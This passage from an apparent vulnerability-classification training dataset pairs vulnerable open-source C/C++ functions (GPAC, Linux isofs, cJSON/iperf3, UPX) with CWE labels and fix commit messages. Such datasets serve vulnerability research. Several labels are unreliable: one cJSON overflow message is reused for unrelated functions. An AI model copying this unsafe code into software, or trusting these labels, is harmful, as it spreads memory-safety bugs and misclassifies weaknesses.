GF_M2TS_DVB_SUBTITLING_DESCRIPTOR: if (pes) { pes->sub.language[0] = data[2]; pes->sub.language[1] = data[3]; pes->sub.language[2] = data[4]; pes->sub.type = data[5]; pes->sub.composition_page_id = (data[6]<<8) | data[7]; pes->sub.ancillary_page_id = (data[8]<<8) | data[9]; } es->stream_type = GF_M2TS_DVB_SUBTITLE; break; case GF_M2TS_DVB_STREAM_IDENTIFIER_DESCRIPTOR: { es->component_tag = data[2]; GF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, ("Component Tag: %d on Program %d\n", es->component_tag, es->program->number)); } break; case GF_M2TS_DVB_TELETEXT_DESCRIPTOR: es->stream_type = GF_M2TS_DVB_TELETEXT; break; case GF_M2TS_DVB_VBI_DATA_DESCRIPTOR: es->stream_type = GF_M2TS_DVB_VBI; break; case GF_M2TS_HIERARCHY_DESCRIPTOR: if (pes) { u8 hierarchy_embedded_layer_index; GF_BitStream *hbs = gf_bs_new((const char *)data, data_size, GF_BITSTREAM_READ); /*u32 skip = */gf_bs_read_int(hbs, 16); /*u8 res1 = */gf_bs_read_int(hbs, 1); /*u8 temp_scal = */gf_bs_read_int(hbs, 1); /*u8 spatial_scal = */gf_bs_read_int(hbs, 1); /*u8 quality_scal = */gf_bs_read_int(hbs, 1); /*u8 hierarchy_type = */gf_bs_read_int(hbs, 4); /*u8 res2 = */gf_bs_read_int(hbs, 2); /*u8 hierarchy_layer_index = */gf_bs_read_int(hbs, 6); /*u8 tref_not_present = */gf_bs_read_int(hbs, 1); /*u8 res3 = */gf_bs_read_int(hbs, 1); hierarchy_embedded_layer_index = gf_bs_read_int(hbs, 6); /*u8 res4 = */gf_bs_read_int(hbs, 2); /*u8 hierarchy_channel = */gf_bs_read_int(hbs, 6); gf_bs_del(hbs); pes->depends_on_pid = 1+hierarchy_embedded_layer_index; } break; case GF_M2TS_METADATA_DESCRIPTOR: { GF_BitStream *metadatad_bs; GF_M2TS_MetadataDescriptor *metad; metadatad_bs = gf_bs_new((char *)data+2, len, GF_BITSTREAM_READ); metad = gf_m2ts_read_metadata_descriptor(metadatad_bs, len); gf_bs_del(metadatad_bs); if (metad->application_format_identifier == GF_M2TS_META_ID3 && metad->format_identifier == GF_M2TS_META_ID3) { /*HLS ID3 Metadata */ if (pes) { pes->metadata_descriptor = metad; pes->stream_type = GF_M2TS_METADATA_ID3_HLS; } } else { /* don't know what to do with it for now, delete */ gf_m2ts_metadata_descriptor_del(metad); } } break; default: GF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, ("[MPEG-2 TS] skipping descriptor (0x%x) not supported\n", tag)); break; } } data += len+2; pos += len+2; if (desc_len < len+2) { GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG-2 TS] Invalid PMT es descriptor size for PID %d\n", pid ) ); break; } desc_len-=len+2; } if (es && !es->stream_type) { gf_free(es); es = NULL; GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG-2 TS] Private Stream type (0x%x) for PID %d not supported\n", stream_type, pid ) ); } if (!es) continue; if (ts->ess[pid]) { //this is component reuse across programs, overwrite the previously declared stream ... if (status & GF_M2TS_TABLE_FOUND) { GF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, ("[MPEG-2 TS] PID %d reused across programs %d and %d, not completely supported\n", pid, ts->ess[pid]->program->number, es->program->number ) ); //add stream to program but don't reassign the pid table until the stream is playing (>GF_M2TS_PES_FRAMING_SKIP) gf_list_add(pmt->program->streams, es); if (!(es->flags & GF_M2TS_ES_IS_SECTION) ) gf_m2ts_set_pes_framing(pes, GF_M2TS_PES_FRAMING_SKIP); nb_es++; //skip assignment below es = NULL; } /*watchout for pmt update - FIXME this likely won't work in most cases*/ else { GF_M2TS_ES *o_es = ts->ess[es->pid]; if ((o_es->stream_type == es->stream_type) && ((o_es->flags & GF_M2TS_ES_STATIC_FLAGS_MASK) == (es->flags & GF_M2TS_ES_STATIC_FLAGS_MASK)) && (o_es->mpeg4_es_id == es->mpeg4_es_id) && ((o_es->flags & GF_M2TS_ES_IS_SECTION) || ((GF_M2TS_PES *)o_es)->lang == ((GF_M2TS_PES *)es)->lang) ) { gf_free(es); es = NULL; } else { gf_m2ts_es_del(o_es, ts); ts->ess[es->pid] = NULL; } } } if (es) { ts->ess[es->pid] = es; gf_list_add(pmt->program->streams, es); if (!(es->flags & GF_M2TS_ES_IS_SECTION) ) gf_m2ts_set_pes_framing(pes, GF_M2TS_PES_FRAMING_SKIP); nb_es++; } if (es->stream_type == GF_M2TS_VIDEO_HEVC) nb_hevc++; else if (es->stream_type == GF_M2TS_VIDEO_HEVC_TEMPORAL) nb_hevc_temp++; else if (es->stream_type == GF_M2TS_VIDEO_SHVC) nb_shvc++; else if (es->stream_type == GF_M2TS_VIDEO_SHVC_TEMPORAL) nb_shvc_temp++; else if (es->stream_type == GF_M2TS_VIDEO_MHVC) nb_mhvc++; else if (es->stream_type == GF_M2TS_VIDEO_MHVC_TEMPORAL) nb_mhvc_temp++; } //Table 2-139, implied hierarchy indexes if (nb_hevc_temp + nb_shvc + nb_shvc_temp + nb_mhvc+ nb_mhvc_temp) { for (i=0; i<gf_list_count(pmt->program->streams); i++) { GF_M2TS_PES *es = (GF_M2TS_PES *)gf_list_get(pmt->program->streams, i); if ( !(es->flags & GF_M2TS_ES_IS_PES)) continue; if (es->depends_on_pid) continue; switch (es->stream_type) { case GF_M2TS_VIDEO_HEVC_TEMPORAL: es->depends_on_pid = 1; break; case GF_M2TS_VIDEO_SHVC: if (!nb_hevc_temp) es->depends_on_pid = 1; else es->depends_on_pid = 2; break; case GF_M2TS_VIDEO_SHVC_TEMPORAL: es->depends_on_pid = 3; break; case GF_M2TS_VIDEO_MHVC: if (!nb_hevc_temp) es->depends_on_pid = 1; else es->depends_on_pid = 2; break; case GF_M2TS_VIDEO_MHVC_TEMPORAL: if (!nb_hevc_temp) es->depends_on_pid = 2; else es->depends_on_pid = 3; break; } } } if (nb_es) { u32 i; //translate hierarchy descriptors indexes into PIDs - check whether the PMT-index rules are the same for HEVC for (i=0; i<gf_list_count(pmt->program->streams); i++) { GF_M2TS_PES *an_es = NULL; GF_M2TS_PES *es = (GF_M2TS_PES *)gf_list_get(pmt->program->streams, i); if ( !(es->flags & GF_M2TS_ES_IS_PES)) continue; if (!es->depends_on_pid) continue; //fixeme we are not always assured that hierarchy_layer_index matches the stream index... //+1 is because our first stream is the PMT an_es = (GF_M2TS_PES *)gf_list_get(pmt->program->streams, es->depends_on_pid); if (an_es) { es->depends_on_pid = an_es->pid; } else { GF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, ("[M2TS] Wrong dependency index in hierarchy descriptor, assuming non-scalable stream\n")); es->depends_on_pid = 0; } } evt_type = (status&GF_M2TS_TABLE_FOUND) ? GF_M2TS_EVT_PMT_FOUND : GF_M2TS_EVT_PMT_UPDATE; if (ts->on_event) ts->on_event(ts, evt_type, pmt->program); } else { /* if we found no new ES it's simply a repeat of the PMT */ if (ts->on_event) ts->on_event(ts, GF_M2TS_EVT_PMT_REPEAT, pmt->program); } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'fixed potential crash in TS - cf #1264'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: #ifndef GPAC_DISABLE_ISOM_HINTING void dump_isom_sdp(GF_ISOFile *file, char *inName, Bool is_final_name) { const char *sdp; u32 size, i; FILE *dump; if (inName) { char szBuf[1024]; strcpy(szBuf, inName); if (!is_final_name) { char *ext = strchr(szBuf, '.'); if (ext) ext[0] = 0; strcat(szBuf, "_sdp.txt"); } dump = gf_fopen(szBuf, "wt"); if (!dump) { fprintf(stderr, "Failed to open %s for dumping\n", szBuf); return; } } else { dump = stdout; fprintf(dump, "* File SDP content *\n\n"); } //get the movie SDP gf_isom_sdp_get(file, &sdp, &size); fprintf(dump, "%s", sdp); fprintf(dump, "\r\n"); //then tracks for (i=0; i<gf_isom_get_track_count(file); i++) { if (gf_isom_get_media_type(file, i+1) != GF_ISOM_MEDIA_HINT) continue; gf_isom_sdp_track_get(file, i+1, &sdp, &size); fprintf(dump, "%s", sdp); } fprintf(dump, "\n\n"); ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-476'], 'message': 'fixed #1566'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: isofs_export_encode_fh(struct inode *inode, __u32 *fh32, int *max_len, struct inode *parent) { struct iso_inode_info * ei = ISOFS_I(inode); int len = *max_len; int type = 1; __u16 *fh16 = (__u16*)fh32; /* * WARNING: max_len is 5 for NFSv2. Because of this * limitation, we use the lower 16 bits of fh32[1] to hold the * offset of the inode and the upper 16 bits of fh32[1] to * hold the offset of the parent. */ if (parent && (len < 5)) { *max_len = 5; return 255; } else if (len < 3) { *max_len = 3; return 255; } len = 3; fh32[0] = ei->i_iget5_block; fh16[2] = (__u16)ei->i_iget5_offset; /* fh16 [sic] */ fh32[2] = inode->i_generation; if (parent) { struct iso_inode_info *eparent; eparent = ISOFS_I(parent); fh32[3] = eparent->i_iget5_block; fh16[3] = (__u16)eparent->i_iget5_offset; /* fh16 [sic] */ fh32[4] = parent->i_generation; len = 5; type = 2; } *max_len = len; return type; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-200'], 'message': 'isofs: avoid info leak on export For type 1 the parent_offset member in struct isofs_fid gets copied uninitialized to userland. Fix this by initializing it to 0. Signed-off-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: Jan Kara <jack@suse.cz>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static const char *parse_string( cJSON *item, const char *str ) { const char *ptr = str + 1; char *ptr2; char *out; int len = 0; unsigned uc, uc2; if ( *str != '\"' ) { /* Not a string! */ ep = str; return 0; } /* Skip escaped quotes. */ while ( *ptr != '\"' && *ptr && ++len ) if ( *ptr++ == '\\' ) ptr++; if ( ! ( out = (char*) cJSON_malloc( len + 1 ) ) ) return 0; ptr = str + 1; ptr2 = out; while ( *ptr != '\"' && *ptr ) { if ( *ptr != '\\' ) *ptr2++ = *ptr++; else { ptr++; switch ( *ptr ) { case 'b': *ptr2++ ='\b'; break; case 'f': *ptr2++ ='\f'; break; case 'n': *ptr2++ ='\n'; break; case 'r': *ptr2++ ='\r'; break; case 't': *ptr2++ ='\t'; break; case 'u': /* Transcode utf16 to utf8. */ /* Get the unicode char. */ sscanf( ptr + 1,"%4x", &uc ); ptr += 4; /* Check for invalid. */ if ( ( uc >= 0xDC00 && uc <= 0xDFFF ) || uc == 0 ) break; /* UTF16 surrogate pairs. */ if ( uc >= 0xD800 && uc <= 0xDBFF ) { if ( ptr[1] != '\\' || ptr[2] != 'u' ) /* Missing second-half of surrogate. */ break; sscanf( ptr + 3, "%4x", &uc2 ); ptr += 6; if ( uc2 < 0xDC00 || uc2 > 0xDFFF ) /* Invalid second-half of surrogate. */ break; uc = 0x10000 | ( ( uc & 0x3FF ) << 10 ) | ( uc2 & 0x3FF ); } len = 4; if ( uc < 0x80 ) len = 1; else if ( uc < 0x800 ) len = 2; else if ( uc < 0x10000 ) len = 3; ptr2 += len; switch ( len ) { case 4: *--ptr2 = ( ( uc | 0x80) & 0xBF ); uc >>= 6; case 3: *--ptr2 = ( ( uc | 0x80) & 0xBF ); uc >>= 6; case 2: *--ptr2 = ( ( uc | 0x80) & 0xBF ); uc >>= 6; case 1: *--ptr2 = ( uc | firstByteMark[len] ); } ptr2 += len; break; default: *ptr2++ = *ptr; break; } ++ptr; } } *ptr2 = 0; if ( *ptr == '\"' ) ++ptr; item->valuestring = out; item->type = cJSON_String; return ptr; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <bmah@es.net>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: iperf_json_printf(const char *format, ...) { cJSON* o; va_list argp; const char *cp; char name[100]; char* np; cJSON* j; o = cJSON_CreateObject(); if (o == NULL) return NULL; va_start(argp, format); np = name; for (cp = format; *cp != '\0'; ++cp) { switch (*cp) { case ' ': break; case ':': *np = '\0'; break; case '%': ++cp; switch (*cp) { case 'b': j = cJSON_CreateBool(va_arg(argp, int)); break; case 'd': j = cJSON_CreateInt(va_arg(argp, int64_t)); break; case 'f': j = cJSON_CreateFloat(va_arg(argp, double)); break; case 's': j = cJSON_CreateString(va_arg(argp, char *)); break; default: return NULL; } if (j == NULL) return NULL; cJSON_AddItemToObject(o, name, j); np = name; break; default: *np++ = *cp; break; } } va_end(argp); return o; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <bmah@es.net>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static const char *parse_value( cJSON *item, const char *value ) { if ( ! value ) return 0; /* Fail on null. */ if ( ! strncmp( value, "null", 4 ) ) { item->type = cJSON_NULL; return value + 4; } if ( ! strncmp( value, "false", 5 ) ) { item->type = cJSON_False; return value + 5; } if ( ! strncmp( value, "true", 4 ) ) { item->type = cJSON_True; item->valueint = 1; return value + 4; } if ( *value == '\"' ) return parse_string( item, value ); if ( *value == '-' || ( *value >= '0' && *value <= '9' ) ) return parse_number( item, value ); if ( *value == '[' ) return parse_array( item, value ); if ( *value == '{' ) return parse_object( item, value ); /* Fail. */ ep = value; return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <bmah@es.net>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: send_parameters(struct iperf_test *test) { int r = 0; cJSON *j; j = cJSON_CreateObject(); if (j == NULL) { i_errno = IESENDPARAMS; r = -1; } else { if (test->protocol->id == Ptcp) cJSON_AddTrueToObject(j, "tcp"); else if (test->protocol->id == Pudp) cJSON_AddTrueToObject(j, "udp"); cJSON_AddIntToObject(j, "omit", test->omit); if (test->server_affinity != -1) cJSON_AddIntToObject(j, "server_affinity", test->server_affinity); if (test->duration) cJSON_AddIntToObject(j, "time", test->duration); if (test->settings->bytes) cJSON_AddIntToObject(j, "num", test->settings->bytes); if (test->settings->blocks) cJSON_AddIntToObject(j, "blockcount", test->settings->blocks); if (test->settings->mss) cJSON_AddIntToObject(j, "MSS", test->settings->mss); if (test->no_delay) cJSON_AddTrueToObject(j, "nodelay"); cJSON_AddIntToObject(j, "parallel", test->num_streams); if (test->reverse) cJSON_AddTrueToObject(j, "reverse"); if (test->settings->socket_bufsize) cJSON_AddIntToObject(j, "window", test->settings->socket_bufsize); if (test->settings->blksize) cJSON_AddIntToObject(j, "len", test->settings->blksize); if (test->settings->rate) cJSON_AddIntToObject(j, "bandwidth", test->settings->rate); if (test->settings->burst) cJSON_AddIntToObject(j, "burst", test->settings->burst); if (test->settings->tos) cJSON_AddIntToObject(j, "TOS", test->settings->tos); if (test->settings->flowlabel) cJSON_AddIntToObject(j, "flowlabel", test->settings->flowlabel); if (test->title) cJSON_AddStringToObject(j, "title", test->title); if (test->congestion) cJSON_AddStringToObject(j, "congestion", test->congestion); if (test->get_server_output) cJSON_AddIntToObject(j, "get_server_output", iperf_get_test_get_server_output(test)); if (test->debug) { printf("send_parameters:\n%s\n", cJSON_Print(j)); } if (JSON_write(test->ctrl_sck, j) < 0) { i_errno = IESENDPARAMS; r = -1; } cJSON_Delete(j); } return r; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <bmah@es.net>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: char *cJSON_PrintUnformatted( cJSON *item ) { return print_value( item, 0, 0 ); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <bmah@es.net>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: PackLinuxElf64::PackLinuxElf64help1(InputFile *f) { e_type = get_te16(&ehdri.e_type); e_phnum = get_te16(&ehdri.e_phnum); e_shnum = get_te16(&ehdri.e_shnum); unsigned const e_phentsize = get_te16(&ehdri.e_phentsize); if (ehdri.e_ident[Elf64_Ehdr::EI_CLASS]!=Elf64_Ehdr::ELFCLASS64 || sizeof(Elf64_Phdr) != e_phentsize || (Elf64_Ehdr::ELFDATA2MSB == ehdri.e_ident[Elf64_Ehdr::EI_DATA] && &N_BELE_RTP::be_policy != bele) || (Elf64_Ehdr::ELFDATA2LSB == ehdri.e_ident[Elf64_Ehdr::EI_DATA] && &N_BELE_RTP::le_policy != bele)) { e_phoff = 0; e_shoff = 0; sz_phdrs = 0; return; } if (0==e_phnum) throwCantUnpack("0==e_phnum"); e_phoff = get_te64(&ehdri.e_phoff); upx_uint64_t const last_Phdr = e_phoff + e_phnum * sizeof(Elf64_Phdr); if (last_Phdr < e_phoff || (unsigned long)file_size < last_Phdr) { throwCantUnpack("bad e_phoff"); } e_shoff = get_te64(&ehdri.e_shoff); upx_uint64_t const last_Shdr = e_shoff + e_shnum * sizeof(Elf64_Shdr); if (last_Shdr < e_shoff || (unsigned long)file_size < last_Shdr) { if (opt->cmd == CMD_COMPRESS) { throwCantUnpack("bad e_shoff"); } } sz_phdrs = e_phnum * e_phentsize; if (f && Elf64_Ehdr::ET_DYN!=e_type) { unsigned const len = sz_phdrs + e_phoff; alloc_file_image(file_image, len); f->seek(0, SEEK_SET); f->readx(file_image, len); phdri= (Elf64_Phdr *)(e_phoff + file_image); // do not free() !! } if (f && Elf64_Ehdr::ET_DYN==e_type) { // The DT_SYMTAB has no designated length. Read the whole file. alloc_file_image(file_image, file_size); f->seek(0, SEEK_SET); f->readx(file_image, file_size); phdri= (Elf64_Phdr *)(e_phoff + file_image); // do not free() !! shdri= (Elf64_Shdr *)(e_shoff + file_image); // do not free() !! if (opt->cmd != CMD_COMPRESS) { shdri = NULL; } sec_dynsym = elf_find_section_type(Elf64_Shdr::SHT_DYNSYM); if (sec_dynsym) { unsigned t = get_te32(&sec_dynsym->sh_link); if (e_shnum <= t) throwCantPack("bad dynsym->sh_link"); sec_dynstr = &shdri[t]; } Elf64_Phdr const *phdr= phdri; for (int j = e_phnum; --j>=0; ++phdr) if (Elf64_Phdr::PT_DYNAMIC==get_te64(&phdr->p_type)) { dynseg= (Elf64_Dyn const *)(check_pt_dynamic(phdr) + file_image); invert_pt_dynamic(dynseg, get_te64(&phdr->p_filesz)); } else if (PT_LOAD64==get_te32(&phdr->p_type)) { check_pt_load(phdr); } // elf_find_dynamic() returns 0 if 0==dynseg. dynstr = (char const *)elf_find_dynamic(Elf64_Dyn::DT_STRTAB); dynsym = (Elf64_Sym const *)elf_find_dynamic(Elf64_Dyn::DT_SYMTAB); gashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_GNU_HASH); hashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_HASH); if (3& ((uintptr_t)dynsym | (uintptr_t)gashtab | (uintptr_t)hashtab)) { throwCantPack("unaligned DT_SYMTAB, DT_GNU_HASH, or DT_HASH/n"); } jni_onload_sym = elf_lookup("JNI_OnLoad"); if (jni_onload_sym) { jni_onload_va = get_te64(&jni_onload_sym->st_value); jni_onload_va = 0; // FIXME not understood; need example } } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Check Shdr more https://github.com/upx/upx/issues/395 modified: p_lx_elf.cpp'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void PackLinuxElf32::unpack(OutputFile *fo) { if (e_phoff != sizeof(Elf32_Ehdr)) {// Phdrs not contiguous with Ehdr throwCantUnpack("bad e_phoff"); } unsigned const c_phnum = get_te16(&ehdri.e_phnum); unsigned old_data_off = 0; unsigned old_data_len = 0; unsigned old_dtinit = 0; unsigned is_asl = 0; // is Android Shared Library unsigned szb_info = sizeof(b_info); { if (get_te32(&ehdri.e_entry) < 0x401180 && Elf32_Ehdr::EM_386 ==get_te16(&ehdri.e_machine) && Elf32_Ehdr::ET_EXEC==get_te16(&ehdri.e_type)) { // Beware ET_DYN.e_entry==0x10f0 (or so) does NOT qualify here. /* old style, 8-byte b_info */ szb_info = 2*sizeof(unsigned); } } fi->seek(overlay_offset - sizeof(l_info), SEEK_SET); fi->readx(&linfo, sizeof(linfo)); lsize = get_te16(&linfo.l_lsize); if (UPX_MAGIC_LE32 != get_le32(&linfo.l_magic)) { throwCantUnpack("l_info corrupted"); } p_info hbuf; fi->readx(&hbuf, sizeof(hbuf)); unsigned orig_file_size = get_te32(&hbuf.p_filesize); blocksize = get_te32(&hbuf.p_blocksize); if ((u32_t)file_size > orig_file_size || blocksize > orig_file_size || !mem_size_valid(1, blocksize, OVERHEAD)) throwCantUnpack("p_info corrupted"); ibuf.alloc(blocksize + OVERHEAD); b_info bhdr; memset(&bhdr, 0, sizeof(bhdr)); fi->readx(&bhdr, szb_info); ph.u_len = get_te32(&bhdr.sz_unc); ph.c_len = get_te32(&bhdr.sz_cpr); if (ph.c_len > (unsigned)file_size || ph.c_len == 0 || ph.u_len == 0 || ph.u_len > orig_file_size) throwCantUnpack("b_info corrupted"); ph.filter_cto = bhdr.b_cto8; MemBuffer u(ph.u_len); Elf32_Ehdr *const ehdr = (Elf32_Ehdr *)&u[0]; Elf32_Phdr const *phdr = 0; // Uncompress Ehdr and Phdrs. if (ibuf.getSize() < ph.c_len) { throwCompressedDataViolation(); } fi->readx(ibuf, ph.c_len); decompress(ibuf, (upx_byte *)ehdr, false); if (ehdr->e_type !=ehdri.e_type || ehdr->e_machine!=ehdri.e_machine || ehdr->e_version!=ehdri.e_version || ehdr->e_flags !=ehdri.e_flags || ehdr->e_ehsize !=ehdri.e_ehsize // check EI_MAG[0-3], EI_CLASS, EI_DATA, EI_VERSION || memcmp(ehdr->e_ident, ehdri.e_ident, Elf32_Ehdr::EI_OSABI)) { throwCantUnpack("ElfXX_Ehdr corrupted"); } fi->seek(- (off_t) (szb_info + ph.c_len), SEEK_CUR); unsigned const u_phnum = get_te16(&ehdr->e_phnum); unsigned total_in = 0; unsigned total_out = 0; unsigned c_adler = upx_adler32(NULL, 0); unsigned u_adler = upx_adler32(NULL, 0); #define MAX_ELF_HDR 512 if ((umin(MAX_ELF_HDR, ph.u_len) - sizeof(Elf32_Ehdr))/sizeof(Elf32_Phdr) < u_phnum) { throwCantUnpack("bad compressed e_phnum"); } #undef MAX_ELF_HDR // Packed ET_EXE has no PT_DYNAMIC. // Packed ET_DYN has original PT_DYNAMIC for info needed by rtld. Elf32_Phdr const *const dynhdr = elf_find_ptype(Elf32_Phdr::PT_DYNAMIC, phdri, c_phnum); bool const is_shlib = !!dynhdr; if (is_shlib) { // Unpack and output the Ehdr and Phdrs for real. // This depends on position within input file fi. unpackExtent(ph.u_len, fo, total_in, total_out, c_adler, u_adler, false, szb_info); // The first PT_LOAD. Part is not compressed (for benefit of rtld.) fi->seek(0, SEEK_SET); fi->readx(ibuf, get_te32(&dynhdr->p_offset) + get_te32(&dynhdr->p_filesz)); overlay_offset -= sizeof(linfo); xct_off = overlay_offset; e_shoff = get_te32(&ehdri.e_shoff); ibuf.subref("bad .e_shoff %#x for %#x", e_shoff, sizeof(Elf32_Shdr) * e_shnum); if (e_shoff && e_shnum) { // --android-shlib shdri = (Elf32_Shdr /*const*/ *)ibuf.subref( "bad Shdr table", e_shoff, sizeof(Elf32_Shdr)*e_shnum); unsigned xct_off2 = get_te32(&shdri->sh_offset); if (e_shoff == xct_off2) { xct_off = e_shoff; } // un-Relocate dynsym (DT_SYMTAB) which is below xct_off dynseg = (Elf32_Dyn const *)ibuf.subref( "bad DYNAMIC", get_te32(&dynhdr->p_offset), get_te32(&dynhdr->p_filesz)); dynstr = (char const *)elf_find_dynamic(Elf32_Dyn::DT_STRTAB); sec_dynsym = elf_find_section_type(Elf32_Shdr::SHT_DYNSYM); if (sec_dynsym) { unsigned const off_dynsym = get_te32(&sec_dynsym->sh_offset); unsigned const sz_dynsym = get_te32(&sec_dynsym->sh_size); Elf32_Sym *const sym0 = (Elf32_Sym *)ibuf.subref( "bad dynsym", off_dynsym, sz_dynsym); Elf32_Sym *sym = sym0; for (int j = sz_dynsym / sizeof(Elf32_Sym); --j>=0; ++sym) { unsigned symval = get_te32(&sym->st_value); unsigned symsec = get_te16(&sym->st_shndx); if (Elf32_Sym::SHN_UNDEF != symsec && Elf32_Sym::SHN_ABS != symsec && xct_off <= symval) { set_te32(&sym->st_value, symval - asl_delta); } if (Elf32_Sym::SHN_ABS == symsec && xct_off <= symval) { adjABS(sym, 0u - asl_delta); } } } } if (fo) { fo->write(ibuf + ph.u_len, xct_off - ph.u_len); } // Search the Phdrs of compressed int n_ptload = 0; phdr = (Elf32_Phdr *) (void *) (1+ (Elf32_Ehdr *)(unsigned char *)ibuf); for (unsigned j=0; j < u_phnum; ++phdr, ++j) { if (PT_LOAD32==get_te32(&phdr->p_type) && 0!=n_ptload++) { old_data_off = get_te32(&phdr->p_offset); old_data_len = get_te32(&phdr->p_filesz); break; } } total_in = xct_off; total_out = xct_off; ph.u_len = 0; // Position the input for next unpackExtent. fi->seek(sizeof(linfo) + overlay_offset + sizeof(hbuf) + szb_info + ph.c_len, SEEK_SET); // Decompress and unfilter the tail of first PT_LOAD. phdr = (Elf32_Phdr *) (void *) (1+ ehdr); for (unsigned j=0; j < u_phnum; ++phdr, ++j) { if (PT_LOAD32==get_te32(&phdr->p_type)) { ph.u_len = get_te32(&phdr->p_filesz) - xct_off; break; } } unpackExtent(ph.u_len, fo, total_in, total_out, c_adler, u_adler, false, szb_info); } else { // main executable // Decompress each PT_LOAD. bool first_PF_X = true; phdr = (Elf32_Phdr *) (void *) (1+ ehdr); // uncompressed for (unsigned j=0; j < u_phnum; ++phdr, ++j) { if (PT_LOAD32==get_te32(&phdr->p_type)) { unsigned const filesz = get_te32(&phdr->p_filesz); unsigned const offset = get_te32(&phdr->p_offset); if (fo) fo->seek(offset, SEEK_SET); if (Elf32_Phdr::PF_X & 